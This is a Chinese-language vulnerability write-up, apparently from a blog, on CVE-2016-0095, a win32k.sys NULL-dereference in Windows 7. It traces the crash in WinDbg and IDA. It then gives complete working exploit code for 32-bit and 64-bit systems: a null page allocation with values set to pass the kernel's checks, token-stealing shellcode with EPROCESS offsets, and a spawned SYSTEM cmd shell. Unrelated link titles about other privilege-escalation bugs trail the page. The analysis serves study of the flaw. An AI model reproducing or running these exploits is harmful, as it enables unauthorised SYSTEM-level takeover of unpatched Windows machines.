1 前言

瞻仰了k0shl和鹏哥 的漏洞分析,感慨万千,任重而道远。

2 系统环境和工具

  • windows 7 32旗舰版

  • windbg

3 poc

3.1poc复现

首先k0shl大佬给出的poc():

/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/

#include <Windows.h>

#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")

unsigned int demo_CreateBitmapIndirect(void) {
static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };

bitmap.bmBits = bits;

SetLastError(NO_ERROR);

HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);

return (unsigned int)hBitmap;
}

#define eSyscall_NtGdiSetBitmapAttributes 0x1110

W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
HBITMAP argv0,
DWORD argv1
)
{
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
}

void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);

RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);

HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);

HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);

FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}

int _tmain(int argc, _TCHAR* argv[])
{
Trigger_BSoDPoc();
return 0;
}

注意 这些地方可能需要稍作修改:

  • 首先是对NtGdiSetBitmapAttributes的重构定义中使用的W32KAPI:

    #ifndef W32KAPI
    #define W32KAPI DECLSPEC_ADDRSAFE
    #endif
  • 其次是KiFastSystemCall没有提供地址:

    //可以直接在函数内LoadLibrary之后使用GetProcAddress获取KiFastSystemCall地址。
    HMODULE _H_NTDLL = NULL;

    PVOID addr_kifastsystemcall = NULL;

    _H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
    addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
    __asm
    {
        push argv1;
        push argv0;
        push 0x00;
        mov eax, eSyscall_NtGdiSetBitmapAttributes;
        mov edx, addr_kifastsystemcall;
        call edx;
        add esp, 0x0c;
    }

生成并在 目标系统中运行,产生如下异常:

3.2 poc分析

下面是poc的触发函数:

void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);

RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);

HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);

HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);

FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}

简述分析:

这个漏洞和BitMap有关,触发漏洞所在流程:创建 bitmap--> 创建HDC设备-->绑定(选中)一个bitmap-->创建画刷,矩形-->使用FillRgn填充

应该是前面几个步骤中的不当行为,在调用FillRgn的时候触发了漏洞.

4 漏洞分析

4.1 查看异常上下文

首先查看 寄存器环境:

分析:

可以看到 eax=0,导致了崩溃语句中 eax+24h是一个非法地址.

栈回溯分析:

看到几个关键函数以及偏移,接下来在IDA静态分析。

4.2 使用IDA分析该模块

通过IDA 加载win32k.sys 分析(注意加载符号文件):

看到和参数2有关,而参数二 是 EBRUSHOBJ * ,而且我们可以根据附近的上下文获得下面的关系式:

[ [ [arg_4] +34h ] +1ch] + 24h ]

arg_4 = ebp +0xc

关系式还可以写成如下:

[ [ [ ebp +0xc ] + 34h ] + 1ch] + 24h ]

所以目前我们需要知道 EBRUSHOBJ:0x34 是什么类型的数据

由于EBRUSHOBJ 是未公开的结构体,所以不好找缘由,只有追溯ERUSHOBJ* a2的来源:

  • 查看伪代码:可以看到下图中的伪代码界面,异常点和a2有关,a2参数 是一个EBRUSHOBJ* 类型数据。继续往上找a2 的来源。

  • 追溯上一层分析:发现是刚才的a2 是 pvGetEngBrush(struct _BRUSHOBJ * a1) 调用时传入的参数 a1.

  • 继续追溯上一层:

    在本层查看局部变量v13的数据来源: 可以看到是 调用 EngBitBlt的时候传入的第9个参数 struct _BRUSHOBJ *a9

  • 继续追溯上层:发现是 EngPaint() 的第三个参数 struct _BRUSHOBJ *a3

  • 继续向上追溯:这里 我是分析完了再截的图,这里的 v5 是分析了vInitBrush() 才确定的关系,但是在这里我们可以看到 v18 是前面我们分析的 struct _BRUSHOBJ *a3;往上一看,有一个初始化v18的函数,这里就是关键处了。接下来我们查看vInitBrush()

    vInitBrush():通过查看vInitBrush() ,可以看到 这里的this (前面的 v18 ), v18[13] 即 我们崩溃触发点的 a2[13] (前面回溯流程第一张图里)。那么奔溃数据源 就转移到了 vInitBrush() 的第6个参数 a6; 接下来返回上一层 查看 vInitBrush()的第6个参数数据。

  • 可以看到 a6刚好 就是我们的 v5,而 v5 在这儿是 int类型所以 +16 在这儿就是简单的+16=10h. 而 根据最开始的分析异常崩溃处是 [a2[13]+7] ,这里 a2[13] 是一个指针,所以 +7 应该是数值上的+ 28 即 1ch, 而 a2[13] = 前面的a6 = v5 ,而 v5 +10h是一个 _SURFOBJ 结构体指针,所以 奔溃处的 [a2[13]+7] = v5 +1ch = _SUROBJ:0ch 。

    而_SUROBJ 是一个公开的结构体:

    typedef struct _SURFOBJ {
      DHSURF dhsurf;
      HSURF  hsurf;
      DHPDEV dhpdev;
      HDEV   hdev;// 0ch ------- 找到了 是这里为 0 导致了错误的诞生。
     SIZEL  sizlBitmap;
      ULONG  cjBits;
      PVOID  pvBits;
      PVOID  pvScan0;
      LONG   lDelta;
      ULONG  iUniq;
      ULONG  iBitmapFormat;
      USHORT iType;
      USHORT fjBitmap;
    } SURFOBJ;

    可以看到 这个结构体中0ch 偏移处是 HDEV hdev.

4.3 结论

_SURFOBJ 结构体中 HDEV字段 hdev 为 0 导致了这个漏洞的产生,也即[EBRUSHOBJ:0x34]:0x1c 处为0 导致了这个漏洞

所以可以得出结论是 hdev 没有正确得到初始化, 造成的这个漏洞的触发; 由于目前水平有限这里对内核函数(HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);不明白其dwflag = 0x89f 的意义。

5 漏洞利用EXP

5.1 分析提取可利用点

由于这里win7 32/64 可以直接调用NtAllocateVirtualMemory申请零页内存,那么这里可以调用此函数申请内存,然后在特定位置放上我们的代码等着它call 就行了。

那么哪里可利用点在哪里呢?

梳理一下: 在异常之前,那些都是正常运行过来了,所以这里我们可以在异常崩溃所处的函数内部找那些 和 a2 (崩溃处的a2 --IDA中标识第二个参--即是 引发崩溃的数据来源)有关的 call, 这些call 即为可利用点。

继续使用IDA按f5查看和a2相关的call,发现如下可利用点:

查看汇编层:

但是注意,前面有几个条件跳转语句,为了是执行流正常来到这里,我们必须将前面几个跳转语句过掉:

整理之后发现有三处:

  1. if(! v23) 处不能为真

    分析:

    这里可以看到 v20 = a2, v23 = *((WORD*)V20 + 712); 因为 v20 被强转成 WORD * 型, 所以在 V20 + 712 = (byte* )a2 + 712 *2 = a2 +590h.

    结论:

    word ptr [(byte *)a2 + 590h] != 0

  2. if(!*24) 处不能为真

    分析:

    v24 = (WORD *)((char *)V20 +1426); 这里 V20 被强转成 char * 类型,所以 v24 = (char *) v20 + 1426 = (byte *)a2 + 592h;

    结论:

    word ptr [(byte *)a2 + 592h] != 0

  3. if(v26) 处必须为真

    分析:

    在 v26 = a2[466] ; 因为 a2 是一个指针,所以 a2[466] = dword ptr [(byte *)a2 + 466*4] = dword ptr[ (byte*) a2 +748h];

    结论:

    所以 dword ptr[(byte*)a2 = 748h] !=0

综上分析

在以下条件处成立,即可利用 此处。

word ptr [(byte *)a2 + 590h] != 0

word ptr [(byte *)a2 + 592h] != 0

dword ptr[(byte*)a2 = 748h] !=0

5.2 利用原理

win7 32/64 可以使用 NtAllocateVirtualMemory() 任意申请 0零页内存,而且还没有 SMEP(这里的知识是安全客上学的,还有HEVD), SMEP有点像DEP,是内核的一种缓解措施,我们可以将它简单的理解成禁止在内核态下执行用户空间的代码). 所以直接就能在 RING0 执行 RING3 的代码完成提权。

这里提权的方式是将当前进程的Token 安全令牌换成系统的,即能实现切换到system 最高权限。

5.3 利用实现

(有些代码参考k0shl大佬的,因为原理流程是那样)

  1. 使用NtAllocateVirutalMemory() 申请0页内存,并设置前面分析的跳转条件通过

    // 定义函数原型
    typedef NTSTATUS WINAPI NtAllocateVirtualMemory_t(IN HANDLE     ProcessHandle,
    IN OUT PVOID  *BaseAddress,
    IN ULONG      ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG      AllocationType,
    IN ULONG Protect);
    // 定义函数指针
    NtAllocateVirtualMemory_t *NtAllocateVirtualMemory;

    // 通过LoadLibrary() 动态获取 NtAllocatVirtualMemory函数指针
    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t *) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");

    DWORD Virtual_BaseAddr = 1;// 不能为0 且0x小于1000
    DWORD RegionSize = 0x1000; // 申请的大小
    // 调用NtAllocateVirtualMemory()申请0页内存
    ULONG VirtualMemory_Result = NtAllocateVirtualMemory(
    (LPVOID)&Virtual_BaseAddr, // 为了申请 0页内存 基址不能为 0,0 标识随机 ,但是得小于0x1000
        0,//忽略
       &RegionSize,//0x1000 就够了
       MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );
    // 设置关键条件跳转
    void* bypass_one = (void *)0x590;
    *(LPBYTE)bypass_one = 0x1;
    void* bypass_two = (void *)0x592;
    *(LPBYTE)bypass_two = 0x1;
    void* jump_addr  = (void *)0x748;// 这里 即 是 v26 利用点那儿
    *(DWORD*)jump_addr = XXXXXFunc_Addr;// 这里放目标跳转函数 提权代码
  2. 获取系统 token 换到当前进程

    int __stdcall StealToken(int x.int y,int z,int w)
    {
        __asm {
    // 保存寄存器环境
    pushad; save registers state

    xor eax, eax; Set zero
            // 由于 通过kifastsystemcall 调用系统服务 已经到0环来了,这时候的FS 放的是KPCR,切记
           // 这里获取的 CurrentThread 也即 当前的KTHREAD 线程环境
    mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
            // 通过 KTHREAD 获取EPROCESS, KTHREAD.ApcState.Process
    mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

            // 保存当前找到的EPROCESS -- >ECX
    mov ecx, eax; Copy current _EPROCESS structure
    //获取 token
    mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
            // system PID -- win7 的system pid = 4
    mov edx, SYSTEM_PID;
    // 循环遍历进程,查找PID 为4 的 system process
    SearchSystemPID:
            // _EPROCESS.ActiveProcessLinks.Flink -- 这个循环链保存着所有的进程EPROCESS
    mov eax, [eax + FLINK_OFFSET];
    // 减去偏移量来到 EPROCESS 基址
               sub eax, FLINK_OFFSET
                // 获取当前进程结构体中 保存的 PID
    cmp[eax + PID_OFFSET], edx;
                // 判断是否是目标 进程 -- system   -- 如果不是就继续遍历
    jne SearchSystemPID

                // 获取system 的token
    mov edx, [eax + TOKEN_OFFSET];
             // 拷贝system token 到当前进程的token
    mov[ecx + TOKEN_OFFSET], edx;
    // 恢复上下文环境
    popad; restore registers state
    }
    return 0;
    }

5.4 在提权后弹一个shell 用以验证

void PopShell()
{
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

}

5.5 完整提权EXP

#include"pch.h"
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")

#ifndef W32KAPI
#define W32KAPI DECLSPEC_ADDRSAFE
#endif



#define KTHREAD_OFFSET   0x124    // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET       0x0B4    // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET     0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET     0x0F8    // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID


int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
__asm {
; initialize
pushad; save registers state

xor eax, eax; Set zero
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

mov ecx, eax; Copy current _EPROCESS structure

mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4

SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
; to current process
popad; restore registers state
}
return 0;
}

typedef struct _GDICELL {
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL, *PGDICELL;

unsigned int demo_CreateBitmapIndirect(void) {
static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
HBITMAP hBitmap;
static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };

bitmap.bmBits = bits;

SetLastError(NO_ERROR);

hBitmap = CreateBitmapIndirect(&bitmap);

return (unsigned int)hBitmap;
}

#define eSyscall_NtGdiSetBitmapAttributes 0x1110;

typedef NTSTATUS WINAPI NtAllocateVirtualMemory_t(IN HANDLE     ProcessHandle,
IN OUT PVOID  *BaseAddress,
IN ULONG      ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG      AllocationType,
IN ULONG Protect);

W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
HBITMAP argv0,
DWORD argv1
)
{
HMODULE _H_NTDLL = NULL;
PVOID addr_kifastsystemcall = NULL;
_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
}

void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);

RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);

HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);

HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);

FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}

void PopShell()
{
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

CreateProcess(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

}

int main(int argc, char* argv[])
{
HANDLE hProcess;
DWORD dwPID = GetCurrentProcessId();
DWORD Virtual_BaseAddr = 1;
SIZE_T RegionSize = 0x1000;

hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwPID);
NtAllocateVirtualMemory_t *NtAllocateVirtualMemory;
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t *)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
ULONG VirtualMemory_Result = NtAllocateVirtualMemory(hProcess,
(LPVOID*)&Virtual_BaseAddr,
0,
&RegionSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (VirtualMemory_Result != 0x0)
printf(" [!] Failed to allocate memory at BaseAddress, error: 0x%X\n", VirtualMemory_Result);
else {
printf(" [*] Allocated memory at BaseAddress");
}
memset(0x0, 0, 0x1000);

void* bypass_one = (void *)0x590;
*(LPBYTE)bypass_one = 0x1;
void* bypass_two = (void *)0x592;
*(LPBYTE)bypass_two = 0x1;
void* jump_addr = (void *)0x748;
*(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
Trigger_BSoDPoc();
PopShell();
return 0;
}

6 查看提权效果

7 升级为 64位 提权 EXP

这里64位分析过程和32位类似,篇幅限制就不一一赘述了。

7.1 解决vs64位汇编不支持内联的问题

点击项目属性,按照下图索引

然后勾选上 masm ;即可 编译asm 文件,虽然不能支持内联,但是也能使用asm 中创建api 调用asm api 的方式替换。

7.2 win7-64位 分析 KiSystemCall64

这里系统调用KifastCallentryshi32位中的的调用,在64位发生了改变,使用syscall ,KiSystemCall64:

R10和R11是呼叫密集型暂存器。用asm编写的透明包装函数可以将它们用于暂存空间,而不会干扰RCX,RDX,R8,R9中的任何args,并且无需在任何地方保存/恢复保留调用的寄存器。

R12..R15是调用保留的寄存器,您可以将其用于任何需要的寄存器,只要在返回之前保存/恢复它们即可。

R10和R11还是x86-64 SysV中的非参数传递调用对象寄存器。有趣的事实2:syscall 破坏 R11(和RCX),因此Linux使用R10而不是RCX来将参数传递给系统调用,但否则使用与用户空间函数调用相同的register-arg传递约定

还是查看一下 KiSystemCall64 满足以下好奇心:

syscall是AMD CPU下的sysenter,以此进入内核层,由于64位下没有nt!KiFastCallEntry,而改用的是nt!KiSystemCall64,在64位系统下启用了四个新的MSR寄存器,有不同的作用,其中MSR_LSTAR保存的是rip的相关信息,可以通过rdmsr c0000082的方法查看到syscall跳转地址。这个地址正是nt!KiSystemCall64的入口地址。

32位与64位call地址的区别见:加密解密4 543页

前置:
ntdll!NtCreateDebugObject:
00000000`76d70680 4c8bd1 mov r10,rcx
00000000`76d70683 b890000000 mov eax,90h
00000000`76d70688 0f05 syscall
00000000`76d7068a c3 ret

syscall
{
rcx = rip; /* save rip for syscall return /
r11 = rflags; /
save rflags to r11 /
...
jmp MSR_LSTAR; /
MSR_LSTAR = __readmsr(0xC0000082); */
}

  • 所以分析kiSystemcall64 (参看看雪论坛):

    nt!KiSystemCall64:
    fffff800`03ee5640 0f01f8         swapgs//交换MSR(c0000101)GS基址与MSR(C0000102)-内核GS //基址KPCR
    fffff800`03ee5643 654889242510000000 mov   qword ptr gs:[10h],rsp//保存用户态栈
    fffff800`03ee564c 65488b2425a8010000 mov   rsp,qword ptr gs:[1A8h]//切换到内核栈
    fffff800`03ee5655 6a2b           push   2Bh
    fffff800`03ee5657 65ff342510000000 push   qword ptr gs:[10h]
    fffff800`03ee565f 4153           push   r11//rflags --intel手册有说明
    fffff800`03ee5661 6a33           push   33h
    fffff800`03ee5663 51             push   rcx//保存的是用户态syscall的下一条指令
    fffff800`03ee5664 498bca         mov     rcx,r10//把系统调用的第一个参数重新赋值给ecx
    fffff800`03ee5667 4883ec08       sub     rsp,8
    fffff800`03ee566b 55             push   rbp
    ....
    .text:000000014007F800 :
    .text:000000014007F800           and     eax, 0Fh       ; 取系统调用参数个数
    .text:000000014007F803           jz     KiSystemServiceCopyEnd
    .text:000000014007F809           shl     eax, 3         ; 参数个数*8
    .text:000000014007F80C           lea     rsp, [rsp-70h]
    .text:000000014007F811           lea     rdi, [rsp+190h+var_178]

    ....
    .text:000000014007F840 loc_14007F840:
    .text:000000014007F840           lea     r11, KiSystemServiceCopyEnd
    .text:000000014007F847           sub     r11, rax //eax = 参数个数*8
    .text:000000014007F84A           jmp     r11 //r11指向的代码会拷贝系统调用的参数到内核栈;
    .text:000000014007F84A                         // 每向上8字节代码,多拷贝一个参数

    ....
    .text:000000014007F8C0 KiSystemServiceCopyEnd:               
    .text:000000014007F8C0                 test   cs:dword_140207688, 40h ; 性能计数的开关
    .text:000000014007F8CA                 jnz     loc_14007FB20
    .text:000000014007F8D0                 call   r10             ; call系统调用

注:这里不知道具体怎么系统调用的,所以我看了以下gdi32.dll的源码如下:

可以看到在SetBitmapAttributes中调用了NtGdiBitmapAttributes,那我们直接分析SetBitmapAttributes。

还说分析一下的,结果直接加载符号用IDA 查看 就出来了:

7.3 升级EXP

调整后的asm 文件如下:(这里使用 https://www.vergiliusproject.com/kernels 查看的结构体偏移,eprocess链接: https://www.vergiliusproject.com/kernels/x64/Windows%207%20%7C%202008R2/RTM/_EPROCESS

// 调整后的 exp 汇编代码 文件:
public NtGdiSetBitmapAttributes
public ShellCode

_TEXT SEGMENT
NtGdiSetBitmapAttributes PROC
mov r10,rcx;
mov eax,125fh;
syscall;
ret;
NtGdiSetBitmapAttributes ENDP
ShellCode PROC
push rdx
push rdi
push rcx
mov   rax,qword ptr gs:[188h]
mov   rax,qword ptr [rax+70h]
mov rdi, rax ;rdi--> currentprocess's EPROCESS
mov rdx, qword ptr [rax + 188h] ;rdx --> flink
_begin :
mov rcx, qword ptr[rdx - 8]
cmp rcx, 4
jz _end
mov  rdx, qword ptr [rdx]
jmp _begin
_end :
mov rax, qword ptr[rdx + 80h] ;set system process's
mov qword ptr[rdi + 208h], rax
pop rcx
pop rdi
pop rdx
ret
ShellCode ENDP
END
// 调整后的exp.cpp
#include"pch.h"
#include <Windows.h>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")

EXTERN_C HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1);
EXTERN_C ULONG64 ShellCode();

typedef void* (WINAPI* MYWINAPIPTR)(void);

unsigned int demo_CreateBitmapIndirect(void) {
static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
bitmap.bmBits = bits;
SetLastError(NO_ERROR);
HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
return (unsigned int)hBitmap;
}

void Trigger_BSoDPoc() {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);

RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}

int __stdcall Call(int one, int two, int three, int four)
{
ShellCode();
return 0;
}

typedef __kernel_entry NTSYSCALLAPI NTSTATUS (*fnNtAllocateVirtualMemory)(
HANDLE    ProcessHandle,
PVOID     *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T   RegionSize,
ULONG     AllocationType,
ULONG     Protect
);

void NullPageAlloc()
{
HMODULE hntdll = GetModuleHandle(TEXT("ntdll"));
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
PVOID addr = (PVOID)0x100;
ULONG64 size = 0x1000;
HANDLE xx = GetCurrentProcess();
NtAllocateVirtualMemory(xx,&addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
DWORD * p = NULL;
memset(0x0, 0, 0x1000);

void* bypass_one = (void *)0x858;
*(LPBYTE)bypass_one = 0x1;
void* bypass_two = (void *)0x85A;
*(LPBYTE)bypass_two = 0x1;

void* call_addr = (void *)0xA98;
*(LPVOID*)call_addr = (LPVOID)Call;
}

int main()
{
NullPageAlloc();
Trigger_BSoDPoc();
system("cmd");
return 0;
}

8 查看64位下提权结果

CVE-2016-0095提权漏洞分析的更多相关文章

  1. 9.CVE-2016-5195(脏牛)内核提权漏洞分析

    漏洞描述: 漏洞编号:CVE-2016-5195 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围:Linux内核>=2 ...

  2. Android提权漏洞CVE-2014-7920&CVE-2014-7921分析

    没羽@阿里移动安全,更多安全类技术干货,请访问阿里聚安全博客 这是Android mediaserver的提权漏洞,利用CVE-2014-7920和CVE-2014-7921实现提权,从0权限提到me ...

  3. MySQL-based databases CVE -2016-6663 本地提权

    @date: 2016/11/3 @author: dlive 0x01 漏洞原文 翻译水平不高求轻喷 感觉作者在写文章的时候有些地方描述的也不是特别清楚,不过结合poc可以清晰理解漏洞利用过程 0x ...

  4. 基于RedHat发行的Apache Tomcat本地提权漏洞

    描述 Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞.2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425.此次受到影响的主要是基于R ...

  5. CVE-2016-1240 Tomcat 服务本地提权漏洞

    catalogue . 漏洞背景 . 影响范围 . 漏洞原理 . 漏洞PoC . 修复方案 1. 漏洞背景 Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容 ...

  6. Linux内核通杀提权漏洞CVE-2016-5195验证

    一.漏洞简介 CVE-2016-5195这个漏洞是linux内核级的本地提权漏洞,原理是linux内核内存子系统在 处理私有只读存储映射的写入时复制机制发现了一个冲突条件.这个漏洞官方给出的影响范围是 ...

  7. Linux Kernel ‘perf’ Utility 本地提权漏洞

    漏洞名称: Linux Kernel ‘perf’ Utility 本地提权漏洞 CNNVD编号: CNNVD-201309-050 发布时间: 2013-09-09 更新时间: 2013-09-09 ...

  8. Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞

    漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...

  9. Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 【转载自freebuf.com】

    零.绪论: 1.鸣谢freebuf的文章,主要是学习这个漏洞,文章地址: Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 2.在shadon上找了多个该漏洞尝试复现失败(评论 ...

随机推荐

  1. Delphi 2010下使用sqlitesimpledelphi连接SQLite数据库及中文乱码问题的解决

    应女朋友的要求,要写一款销售管理的软件.用于管理服装店每天的销售记录,已及管理服装店的客户,并对客户进行生日提醒 因为之前使用C#写过一款家庭管理软件,主要是自己用,所以使用了服务器型数据库MySQL ...

  2. NX二次开发-UFUN输出UF函数使用错误UF_get_fail_message

    #include <uf.h> #include <uf_ui.h> #include <uf_modl.h> UF_initialize(); UF_FEATUR ...

  3. NX二次开发-UFUN工程图表格注释获取某一行的tag函数UF_TABNOT_ask_nth_row

    NX9+VS2012 #include <uf.h> #include <uf_tabnot.h> #include <NXOpen/Part.hxx> #incl ...

  4. ionic-CSS:ionic Range

    ylbtech-ionic-CSS:ionic Range 1.返回顶部 1. ionic Range ionic Range 是一个滑块控件,ionic 为 Range 提供了很多种默认的样式.而且 ...

  5. Vue.js中的图片引用路径问题

    当我们在Vue.js项目中引用图片时,关于图片路径有以下几种情形: 使用一: 在data里面定义好图片路径: /*错误写法*/ imgUrl:'../assets/logo.png' 在templat ...

  6. Python从入门到精通视频(全60集)✍✍✍

    Python从入门到精通视频(全60集)  整个课程都看完了,这个课程的分享可以往下看,下面有链接,之前做java开发也做了一些年头,也分享下自己看这个视频的感受,单论单个知识点课程本身没问题,大家看 ...

  7. 【python】并集交集

    set是用来去重的. 在list里使用union函数.这种方式不适用于元素为字典的. list(set(a)^set(b)) 这是求差集 所以交集就是并集和ab的差集. import random d ...

  8. IOS中iframe的滚动条不启作用

    引自:https://www.cnblogs.com/weinan/archive/2013/01/05/2832800.html 问题描述: iframe设置了高度(例如500px).倘若ifram ...

  9. 测试用例覆盖率converage

    当报如下错误: TypeError: 'ModuleImportFailure' object is not iterable 或者 TypeError: '_FailedTest' object i ...

  10. 廖雪峰Java16函数式编程-2Stream-6reduce

